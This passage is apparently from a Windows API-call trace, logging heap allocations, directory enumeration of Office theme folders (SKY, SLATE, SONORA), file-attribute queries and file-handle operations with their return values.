(HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.244] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.244] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.244] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00700 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00c48 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00720 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00d50 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00740 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00e58 [0055.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.245] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00760 [0055.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf00f60 [0055.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.246] GetLastError () returned 0x12 [0055.246] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.246] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.246] GetLastError () returned 0x12 [0055.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.246] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.246] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.247] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0055.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.263] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf02b28 [0055.263] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf02b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf02b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.265] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf02b28) returned 1 [0055.267] NtClose (Handle=0x17c) returned 0x0 [0055.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.267] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.267] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.267] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.267] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00780 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01068 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf007a0 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01170 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf007c0 [0055.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01278 [0055.268] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.268] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf007e0 [0055.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01380 [0055.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.269] GetLastError () returned 0x12 [0055.269] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.269] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.269] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.269] GetLastError () returned 0x12 [0055.269] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.269] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.270] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.270] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0055.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" (normalized: 